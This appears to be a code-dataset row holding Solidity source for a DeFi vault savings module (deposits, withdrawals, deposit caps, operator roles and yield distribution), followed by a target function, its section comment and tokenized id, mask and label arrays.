balances[i] = upr.amounts[rewardTokens[i]];
}
uint256 next = rb.nextDistribution;
while (next < rewardDistributions.length) {
RewardTokenDistribution storage d = rewardDistributions[next];
next++;
uint256 sh = rb.shares[d.poolToken];
if (sh == 0 || poolToken != d.poolToken) continue;
for(i=0; i < rewardTokens.length; i++){
uint256 distrAmount = d.amounts[rewardTokens[i]];
balances[i] = balances[i].add(distrAmount.mul(sh).div(d.totalShares));
}
}
return balances;
}
// /**
// * @notice Updates user balance
// * @param user User address
// */
// function updateRewardBalance(address user) public {
// _updateRewardBalance(user, rewardDistributions.length);
// }
// /**
// * @notice Updates user balance
// * @param user User address
// * @param toDistribution Index of distribution next to the last one, which should be processed
// */
// function updateRewardBalance(address user, uint256 toDistribution) public {
// _updateRewardBalance(user, toDistribution);
// }
// function _updateRewardBalance(address user, uint256 toDistribution) internal {
// require(toDistribution <= rewardDistributions.length, "RewardDistributions: toDistribution index is too high");
// RewardBalance storage rb = rewardBalances[user];
// uint256 next = rb.nextDistribution;
// if(next >= toDistribution) return;
// if(next == 0 && rewardDistributions.length > 0){
// //This might be a new user, if so we can skip previous distributions
// address[] memory poolTokens = registeredPoolTokens();
// bool hasDeposit;
// for(uint256 i=0; i< poolTokens.length; i++){
// address poolToken = poolTokens[i];
// if(rb.shares[poolToken] != 0) {
// hasDeposit = true;
// break;
// }
// }
// if(!hasDeposit){
// rb.nextDistribution = rewardDistributions.length;
// return;
// }
// }
// while (next < toDistribution) {
// RewardTokenDistribution storage d = rewardDistributions[next];
// next++;
// uint256 sh = rb.shares[d.poolToken];
// if (sh == 0) continue;
// UserProtocolRewards storage upr = rb.rewardsByProtocol[d.poolToken];
// for (uint256 i=0; i < d.rewardTokens.length; i++) {
// address rToken = d.rewardTokens[i];
// uint256 distrAmount = d.amounts[rToken];
// upr.amounts[rToken] = upr.amounts[rToken].add(distrAmount.mul(sh).div(d.totalShares));
// }
// }
// rb.nextDistribution = next;
// }
}
// File: @openzeppelin\contracts-ethereum-package\contracts\access\roles\CapperRole.sol
pragma solidity ^0.5.0;
contract CapperRole is Initializable, Context {
using Roles for Roles.Role;
event CapperAdded(address indexed account);
event CapperRemoved(address indexed account);
Roles.Role private _cappers;
function initialize(address sender) public initializer {
if (!isCapper(sender)) {
_addCapper(sender);
}
}
modifier onlyCapper() {
require(isCapper(_msgSender()), "CapperRole: caller does not have the Capper role");
_;
}
function isCapper(address account) public view returns (bool) {
return _cappers.has(account);
}
function addCapper(address account) public onlyCapper {
_addCapper(account);
}
function renounceCapper() public {
_removeCapper(_msgSender());
}
function _addCapper(address account) internal {
_cappers.add(account);
emit CapperAdded(account);
}
function _removeCapper(address account) internal {
_cappers.remove(account);
emit CapperRemoved(account);
}
uint256[50] private ______gap;
}
// File: contracts\modules\savings\SavingsCap.sol
pragma solidity ^0.5.12;
contract SavingsCap is CapperRole {
event UserCapEnabledChange(bool enabled);
event UserCapChanged(address indexed protocol, address indexed user, uint256 newCap);
event DefaultUserCapChanged(address indexed protocol, uint256 newCap);
event ProtocolCapEnabledChange(bool enabled);
event ProtocolCapChanged(address indexed protocol, uint256 newCap);
event VipUserEnabledChange(bool enabled);
event VipUserChanged(address indexed protocol, address indexed user, bool isVip);
using SafeERC20 for IERC20;
using SafeMath for uint256;
struct ProtocolCapInfo {
mapping(address => uint256) userCap; //Limit of pool tokens which can be minted for a user during deposit
mapping(address=>bool) isVipUser;
}
mapping(address => ProtocolCapInfo) protocolsCapInfo; //Mapping of protocol to data we need to calculate APY and do distributions
bool public userCapEnabled;
bool public protocolCapEnabled;
mapping(address=>uint256) public defaultUserCap;
mapping(address=>uint256) public protocolCap;
bool public vipUserEnabled; // Enable VIP user (overrides protocol cap)
function initialize(address _capper) public initializer {
CapperRole.initialize(_capper);
}
function setUserCapEnabled(bool _userCapEnabled) public onlyCapper {
userCapEnabled = _userCapEnabled;
emit UserCapEnabledChange(userCapEnabled);
}
// function setUserCap(address _protocol, address user, uint256 cap) public onlyCapper {
// protocols[_protocol].userCap[user] = cap;
// emit UserCapChanged(_protocol, user, cap);
// }
// function setUserCap(address _protocol, address[] calldata users, uint256[] calldata caps) external onlyCapper {
// require(users.length == caps.length, "SavingsModule: arrays length not match");
// for(uint256 i=0; i < users.length; i++) {
// protocols[_protocol].userCap[users[i]] = caps[i];
// emit UserCapChanged(_protocol, users[i], caps[i]);
// }
// }
function setVipUserEnabled(bool _vipUserEnabled) public onlyCapper {
vipUserEnabled = _vipUserEnabled;
emit VipUserEnabledChange(_vipUserEnabled);
}
function setVipUser(address _protocol, address user, bool isVip) public onlyCapper {
protocolsCapInfo[_protocol].isVipUser[user] = isVip;
emit VipUserChanged(_protocol, user, isVip);
}
function setDefaultUserCap(address _protocol, uint256 cap) public onlyCapper {
defaultUserCap[_protocol] = cap;
emit DefaultUserCapChanged(_protocol, cap);
}
function setProtocolCapEnabled(bool _protocolCapEnabled) public onlyCapper {
protocolCapEnabled = _protocolCapEnabled;
emit ProtocolCapEnabledChange(protocolCapEnabled);
}
function setProtocolCap(address _protocol, uint256 cap) public onlyCapper {
protocolCap[_protocol] = cap;
emit ProtocolCapChanged(_protocol, cap);
}
function getUserCapLeft(address _protocol, uint256 _balance) view public returns(uint256) {
uint256 cap;
if (_balance < defaultUserCap[_protocol]) {
cap = defaultUserCap[_protocol] - _balance;
}
return cap;
}
function isVipUser(address _protocol, address user) view public returns(bool){
return protocolsCapInfo[_protocol].isVipUser[user];
}
function isProtocolCapExceeded(uint256 _poolSupply, address _protocol, address _user) view public returns(bool) {
if (protocolCapEnabled) {
if ( !(vipUserEnabled && isVipUser(_protocol, _user)) ) {
if (_poolSupply > protocolCap[_protocol]) {
return true;
}
}
}
return false;
}
}
// File: contracts\modules\savings\VaultOperatorRole.sol
pragma solidity ^0.5.12;
contract VaultOperatorRole is Initializable, Context {
using Roles for Roles.Role;
event VaultOperatorAdded(address indexed account);
event VaultOperatorRemoved(address indexed account);
Roles.Role private _managers;
function initialize(address sender) public initializer {
if (!isVaultOperator(sender)) {
_addVaultOperator(sender);
}
}
modifier onlyVaultOperator() {
require(isVaultOperator(_msgSender()), "VaultOperatorRole: caller does not have the VaultOperator role");
_;
}
function addVaultOperator(address account) public onlyVaultOperator {
_addVaultOperator(account);
}
function renounceVaultOperator() public {
_removeVaultOperator(_msgSender());
}
function isVaultOperator(address account) public view returns (bool) {
return _managers.has(account);
}
function _addVaultOperator(address account) internal {
_managers.add(account);
emit VaultOperatorAdded(account);
}
function _removeVaultOperator(address account) internal {
_managers.remove(account);
emit VaultOperatorRemoved(account);
}
}
// File: contracts\interfaces\defi\IVaultProtocol.sol
pragma solidity ^0.5.12;
//solhint-disable func-order
contract IVaultProtocol {
event DepositToVault(address indexed _user, address indexed _token, uint256 _amount);
event WithdrawFromVault(address indexed _user, address indexed _token, uint256 _amount);
event WithdrawRequestCreated(address indexed _user, address indexed _token, uint256 _amount);
event DepositByOperator(uint256 _amount);
event WithdrawByOperator(uint256 _amount);
event WithdrawRequestsResolved(uint256 _totalDeposit, uint256 _totalWithdraw);
event StrategyRegistered(address indexed _vault, address indexed _strategy, string _id);
event Claimed(address indexed _vault, address indexed _user, address _token, uint256 _amount);
event DepositsCleared(address indexed _vault);
event RequestsCleared(address indexed _vault);
function registerStrategy(address _strategy) external;
function depositToVault(address _user, address _token, uint256 _amount) external;
function depositToVault(address _user, address[] calldata _tokens, uint256[] calldata _amounts) external;
function withdrawFromVault(address _user, address _token, uint256 _amount) external;
function withdrawFromVault(address _user, address[] calldata _tokens, uint256[] calldata _amounts) external;
function operatorAction(address _strategy) external returns(uint256, uint256);
function operatorActionOneCoin(address _strategy, address _token) external returns(uint256, uint256);
function clearOnHoldDeposits() external;
function clearWithdrawRequests() external;
function setRemainder(uint256 _amount, uint256 _index) external;
function quickWithdraw(address _user, address[] calldata _tokens, uint256[] calldata _amounts) external;
function quickWithdrawStrategy() external view returns(address);
function claimRequested(address _user) external;
function normalizedBalance() external returns(uint256);
function normalizedBalance(address _strategy) external returns(uint256);
function normalizedVaultBalance() external view returns(uint256);
function supportedTokens() external view returns(address[] memory);
function supportedTokensCount() external view returns(uint256);
function isStrategyRegistered(address _strategy) external view returns(bool);
function registeredStrategies() external view returns(address[] memory);
function isTokenRegistered(address _token) external view returns (bool);
function tokenRegisteredInd(address _token) external view returns(uint256);
function totalClaimableAmount(address _token) external view returns (uint256);
function claimableAmount(address _user, address _token) external view returns (uint256);
function amountOnHold(address _user, address _token) external view returns (uint256);
function amountRequested(address _user, address _token) external view returns (uint256);
}
// File: contracts\interfaces\token\IOperableToken.sol
pragma solidity ^0.5.12;
interface IOperableToken {
function increaseOnHoldValue(address _user, uint256 _amount) external;
function decreaseOnHoldValue(address _user, uint256 _amount) external;
function onHoldBalanceOf(address _user) external view returns (uint256);
}
// File: contracts\modules\token\VaultPoolToken.sol
pragma solidity ^0.5.12;
contract VaultPoolToken is PoolToken, IOperableToken {
uint256 internal toBeMinted;
mapping(address => uint256) internal onHoldAmount;
uint256 totalOnHold;
function _mint(address account, uint256 amount) internal {
_createDistributionIfReady();
toBeMinted = amount;
_updateUserBalance(account);
toBeMinted = 0;
ERC20._mint(account, amount);
userBalanceChanged(account);
}
function increaseOnHoldValue(address _user, uint256 _amount) public onlyMinter {
onHoldAmount[_user] = onHoldAmount[_user].add(_amount);
totalOnHold = totalOnHold.add(_amount);
}
function decreaseOnHoldValue(address _user, uint256 _amount) public onlyMinter {
if (onHoldAmount[_user] >= _amount) {
_updateUserBalance(_user);
onHoldAmount[_user] = onHoldAmount[_user].sub(_amount);
if (distributions.length > 0 && nextDistributions[_user] < distributions.length) {
nextDistributions[_user] = distributions.length;
}
totalOnHold = totalOnHold.sub(_amount);
userBalanceChanged(_user);
}
}
function onHoldBalanceOf(address _user) public view returns (uint256) {
return onHoldAmount[_user];
}
function fullBalanceOf(address account) public view returns(uint256){
if (account == address(this)) return 0; //Token itself only holds tokens for others
uint256 unclaimed = calculateClaimAmount(account);
return balanceOf(account).add(unclaimed);
}
function distributionBalanceOf(address account) public view returns(uint256) {
if (balanceOf(account).add(toBeMinted) <= onHoldAmount[account])
return 0;
return balanceOf(account).add(toBeMinted).sub(onHoldAmount[account]);
}
function distributionTotalSupply() public view returns(uint256){
return totalSupply().sub(totalOnHold);
}
function userBalanceChanged(address account) internal {
//Disable rewards for the vaults
}
}
// File: contracts\interfaces\savings\IVaultSavings.sol
pragma solidity ^0.5.12;
//solhint-disable func-order
contract IVaultSavings {
event VaultRegistered(address protocol, address poolToken);
event YieldDistribution(address indexed poolToken, uint256 amount);
event DepositToken(address indexed protocol, address indexed token, uint256 dnAmount);
event Deposit(address indexed protocol, address indexed user, uint256 nAmount, uint256 nFee);
event WithdrawToken(address indexed protocol, address indexed token, uint256 dnAmount);
event Withdraw(address indexed protocol, address indexed user, uint256 nAmount, uint256 nFee);
function deposit(address[] calldata _protocols, address[] calldata _tokens, uint256[] calldata _dnAmounts) external returns(uint256[] memory);
function deposit(address _protocol, address[] calldata _tokens, uint256[] calldata _dnAmounts) external returns(uint256);
function withdraw(address _vaultProtocol, address[] calldata _tokens, uint256[] calldata _amounts, bool isQuick) external returns(uint256);
function poolTokenByProtocol(address _protocol) external view returns(address);
function supportedVaults() public view returns(address[] memory);
function isVaultRegistered(address _protocol) public view returns(bool);
function registerVault(IVaultProtocol protocol, VaultPoolToken poolToken) external;
//function quickWithdraw(address _vaultProtocol, address[] calldata _tokens, uint256[] calldata _amounts) external returns(uint256);
function handleOperatorActions(address _vaultProtocol, address _strategy, address _token) external;
function claimAllRequested(address _vaultProtocol) external;
}
// File: contracts\interfaces\defi\IStrategyCurveFiSwapCrv.sol
pragma solidity ^0.5.12;
interface IStrategyCurveFiSwapCrv {
event CrvClaimed(string indexed id, address strategy, uint256 amount);
function curveFiTokenBalance() external view returns(uint256);
function performStrategyStep1() external;
function performStrategyStep2(bytes calldata _data, address _token) external;
}
// File: contracts\modules\savings\VaultSavingsModule.sol
pragma solidity ^0.5.12;
contract VaultSavingsModule is Module, IVaultSavings, AccessChecker, RewardDistributions, SavingsCap, VaultOperatorRole {
uint256 constant MAX_UINT256 = uint256(-1);
using SafeERC20 for IERC20;
using SafeMath for uint256;
struct VaultInfo {
VaultPoolToken poolToken;
uint256 previousBalance;
}
address[] internal registeredVaults;
mapping(address => VaultInfo) vaults;
mapping(address => address) poolTokenToVault;
// ------
// Settings methods
// ------
function initialize(address _pool) public initializer {
Module.initialize(_pool);
SavingsCap.initialize(_msgSender());
VaultOperatorRole.initialize(_msgSender());
}
function registerVault(IVaultProtocol protocol, VaultPoolToken poolToken) public onlyOwner {
require(!isVaultRegistered(address(protocol)), "Vault is already registered");
registeredVaults.push(address(protocol));
vaults[address(protocol)] = VaultInfo({
poolToken: poolToken,
previousBalance: protocol.normalizedBalance()
});
poolTokenToVault[address(poolToken)] = address(protocol);
uint256 normalizedBalance = vaults[address(protocol)].previousBalance;
if(normalizedBalance > 0) {
uint256 ts = poolToken.totalSupply();
if(ts < normalizedBalance) {
poolToken.mint(_msgSender(), normalizedBalance.sub(ts));
}
}
emit VaultRegistered(address(protocol), address(poolToken));
}
// ------
// User interface
// ------
//Deposits several tokens into single Vault
function deposit(address _protocol, address[] memory _tokens, uint256[] memory _dnAmounts)
public operationAllowed(IAccessModule.Operation.Deposit)
returns(uint256)
{
require(isVaultRegistered(_protocol), "Vault is not registered");
depositToProtocol(_protocol, _tokens, _dnAmounts);
uint256 nAmount;
for (uint256 i=0; i < _tokens.length; i++) {
nAmount = nAmount.add(CalcUtils.normalizeAmount(_tokens[i], _dnAmounts[i]));
}
VaultPoolToken poolToken = VaultPoolToken(vaults[_protocol].poolToken);
poolToken.mint(_msgSender(), nAmount);
require(!isProtocolCapExceeded(poolToken.totalSupply(), _protocol, _msgSender()), "Deposit exeeds protocols cap");
uint256 cap;
if (userCapEnabled) {
cap = userCap(_protocol, _msgSender());
require(cap >= nAmount, "Deposit exeeds user cap");
}
emit Deposit(_protocol, _msgSender(), nAmount, 0);
return nAmount;
}
//Deposits into several vaults but one coin at time
function deposit(address[] memory _protocols, address[] memory _tokens, uint256[] memory _dnAmounts)
public operationAllowed(IAccessModule.Operation.Deposit)
returns(uint256[] memory)
{
require(_protocols.length == _tokens.length && _tokens.length == _dnAmounts.length, "Size of arrays does not match");
uint256[] memory ptAmounts = new uint256[](_protocols.length);
address[] memory tkns = new address[](1);
uint256[] memory amnts = new uint256[](1);
for (uint256 i=0; i < _protocols.length; i++) {
tkns[0] = _tokens[i];
amnts[0] = _dnAmounts[i];
ptAmounts[i] = deposit(_protocols[i], tkns, amnts);
}
return ptAmounts;
}
function depositToProtocol(address _protocol, address[] memory _tokens, uint256[] memory _dnAmounts) internal {
for (uint256 i=0; i < _tokens.length; i++) {
address tkn = _tokens[i];
IERC20(tkn).safeTransferFrom(_msgSender(), _protocol, _dnAmounts[i]);
IVaultProtocol(_protocol).depositToVault(_msgSender(), tkn, _dnAmounts[i]);
emit DepositToken(_protocol, tkn, _dnAmounts[i]);
}
}
//Withdraw several tokens from a Vault in regular way or in quickWay
function withdraw(address _vaultProtocol, address[] memory _tokens, uint256[] memory _amounts, bool isQuick)
public operationAllowed(IAccessModule.Operation.Withdraw)
returns(uint256)
{
require(isVaultRegistered(_vaultProtocol), "Vault is not registered");
require(_tokens.length == _amounts.length, "Size of arrays does not match");
VaultPoolToken poolToken = VaultPoolToken(vaults[_vaultProtocol].poolToken);
uint256 actualAmount;
uint256 normAmount;
for (uint256 i = 0; i < _amounts.length; i++) {
normAmount = CalcUtils.normalizeAmount(_tokens[i], _amounts[i]);
actualAmount = actualAmount.add(normAmount);
emit WithdrawToken(address(_vaultProtocol), _tokens[i], normAmount);
}
if (isQuick) {
quickWithdraw(_vaultProtocol, _tokens, _amounts, actualAmount);
}
else {
if (_tokens.length == 1) {
IVaultProtocol(_vaultProtocol).withdrawFromVault(_msgSender(), _tokens[0], _amounts[0]);
}
else {
IVaultProtocol(_vaultProtocol).withdrawFromVault(_msgSender(), _tokens, _amounts);
}
}
poolToken.burnFrom(_msgSender(), actualAmount);
emit Withdraw(_vaultProtocol, _msgSender(), actualAmount, 0);
return actualAmount;
}
function quickWithdraw(address _vaultProtocol, address[] memory _tokens, uint256[] memory _amounts, uint256 normAmount) internal {
distributeYieldInternal(_vaultProtocol, 0, 0);
IVaultProtocol(_vaultProtocol).quickWithdraw(_msgSender(), _tokens, _amounts);
distributeYieldInternal(_vaultProtocol, normAmount, 0);
}
//Withdraw several tokens from several Vaults
function withdrawAll(address[] memory _vaults, address[] memory _tokens, uint256[] memory _dnAmounts)
public operationAllowed(IAccessModule.Operation.Withdraw)
returns(uint256[] memory)
{
require(_tokens.length == _dnAmounts.length, "Size of arrays does not match");
uint256[] memory ptAmounts = new uint256[](_vaults.length);
uint256 curInd;
uint256 lim;
uint256 nTokens;
for (uint256 i=0; i < _vaults.length; i++) {
nTokens = IVaultProtocol(_vaults[i]).supportedTokensCount();
lim = curInd + nTokens;
require(_tokens.length >= lim, "Incorrect tokens length");
address[] memory tkns = new address[](nTokens);
uint256[] memory amnts = new uint256[](nTokens);
for (uint256 j = curInd; j < lim; j++) {
tkns[j-curInd] = _tokens[j];
amnts[j-curInd] = _dnAmounts[j];
}
ptAmounts[i] = withdraw(_vaults[i], tkns, amnts, false);
curInd += nTokens;
}
return ptAmounts;
}
function claimAllRequested(address _vaultProtocol) public
{
require(isVaultRegistered(_vaultProtocol), "Vault is not registered");
IVaultProtocol(_vaultProtocol).claimRequested(_msgSender());
}
// ------
// Operator interface
// ------
function handleOperatorActions(address _vaultProtocol, address _strategy, address _token) public onlyVaultOperator {
uint256 totalDeposit;
uint256 totalWithdraw;
distributeYieldInternal(_vaultProtocol, 0, 0);
if (_token == address(0)) {
(totalDeposit, totalWithdraw) = IVaultProtocol(_vaultProtocol).operatorAction(_strategy);
}
else {
(totalDeposit, totalWithdraw) = IVaultProtocol(_vaultProtocol).operatorActionOneCoin(_strategy, _token);
}
distributeYieldInternal(_vaultProtocol, totalWithdraw, totalDeposit);
}
function clearProtocolStorage(address _vaultProtocol) public onlyVaultOperator {
IVaultProtocol(_vaultProtocol).clearOnHoldDeposits();
IVaultProtocol(_vaultProtocol).clearWithdrawRequests();
}
function distributeYield(address _vaultProtocol) public {
distributeYieldInternal(_vaultProtocol, 0, 0);
}
function setVaultRemainder(address _vaultProtocol, uint256 _amount, uint256 _index) public onlyVaultOperator {
IVaultProtocol(_vaultProtocol).setRemainder(_amount, _index);
}
function callStrategyStep(address _vaultProtocol, address _strategy, bool _distrYield, bytes memory _strategyData) public onlyVaultOperator {
require(IVaultProtocol(_vaultProtocol).isStrategyRegistered(_strategy), "Strategy is not registered");
uint256 oldVaultBalance = IVaultProtocol(_vaultProtocol).normalizedVaultBalance();
(bool success, bytes memory result) = _strategy.call(_strategyData);
if(!success) assembly {
revert(add(result,32), result) //Reverts with same revert reason
}
if (_distrYield) {
uint256 newVaultBalance;
newVaultBalance = IVaultProtocol(_vaultProtocol).normalizedVaultBalance();
if (newVaultBalance > oldVaultBalance) {
uint256 yield = newVaultBalance.sub(oldVaultBalance);
vaults[_vaultProtocol].previousBalance = vaults[_vaultProtocol].previousBalance.add(yield);
createYieldDistribution(vaults[_vaultProtocol].poolToken, yield);
}
}
}
// ------
// Getters and checkers
// ------
function poolTokenByProtocol(address _vaultProtocol) public view returns(address) {
return address(vaults[_vaultProtocol].poolToken);
}
function protocolByPoolToken(address _poolToken) public view returns(address) {
return poolTokenToVault[_poolToken];
}
function userCap(address _protocol, address user) public view returns(uint256) {
uint256 balance = vaults[_protocol].poolToken.balanceOf(user);
return getUserCapLeft(_protocol, balance);
}
function isVaultRegistered(address _protocol) public view returns(bool) {
for (uint256 i = 0; i < registeredVaults.length; i++){
if (registeredVaults[i] == _protocol) return true;
}
return false;
}
function supportedVaults() public view returns(address[] memory) {
return registeredVaults;
}
// ------
// Yield distribution internal helpers
// ------
function distributeYieldInternal(address _vaultProtocol, uint256 totalWithdraw, uint256 totalDeposit) internal {
uint256 currentBalance = IVaultProtocol(_vaultProtocol).normalizedBalance();
VaultInfo storage pi = vaults[_vaultProtocol];
uint256 correctedBalance = pi.previousBalance.add(totalDeposit).sub(totalWithdraw);
if (currentBalance > correctedBalance) {
VaultPoolToken poolToken = VaultPoolToken(pi.poolToken);
uint256 yield = currentBalance.sub(correctedBalance);
//Update protocol balance
pi.previousBalance = currentBalance;
createYieldDistribution(poolToken, yield);
}
else {
//Update protocol balance with correction for fee
pi.previousBalance = correctedBalance;
}
}
function createYieldDistribution(VaultPoolToken poolToken, uint256 yield) internal {
poolToken.distribute(yield);
emit YieldDistribution(address(poolToken), yield);
}
} | ------ Operator interface ------ | function handleOperatorActions(address _vaultProtocol, address _strategy, address _token) public onlyVaultOperator {
uint256 totalDeposit;
uint256 totalWithdraw;
distributeYieldInternal(_vaultProtocol, 0, 0);
if (_token == address(0)) {
(totalDeposit, totalWithdraw) = IVaultProtocol(_vaultProtocol).operatorAction(_strategy);
}
else {
(totalDeposit, totalWithdraw) = IVaultProtocol(_vaultProtocol).operatorActionOneCoin(_strategy, _token);
}
distributeYieldInternal(_vaultProtocol, totalWithdraw, totalDeposit);
}
| 6,534,876 | [
1,
13093,
11097,
1560,
31913,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1640,
5592,
6100,
12,
2867,
389,
26983,
5752,
16,
1758,
389,
14914,
16,
1758,
389,
2316,
13,
1071,
1338,
12003,
5592,
288,
203,
3639,
2254,
5034,
2078,
758,
1724,
31,
203,
3639,
2254,
5034,
2078,
1190,
9446,
31,
203,
203,
3639,
25722,
16348,
3061,
24899,
26983,
5752,
16,
374,
16,
374,
1769,
203,
203,
3639,
309,
261,
67,
2316,
422,
1758,
12,
20,
3719,
288,
203,
5411,
261,
4963,
758,
1724,
16,
2078,
1190,
9446,
13,
273,
467,
12003,
5752,
24899,
26983,
5752,
2934,
9497,
1803,
24899,
14914,
1769,
203,
3639,
289,
203,
3639,
469,
288,
203,
5411,
261,
4963,
758,
1724,
16,
2078,
1190,
9446,
13,
273,
467,
12003,
5752,
24899,
26983,
5752,
2934,
9497,
1803,
3335,
27055,
24899,
14914,
16,
389,
2316,
1769,
203,
3639,
289,
203,
203,
3639,
25722,
16348,
3061,
24899,
26983,
5752,
16,
2078,
1190,
9446,
16,
2078,
758,
1724,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.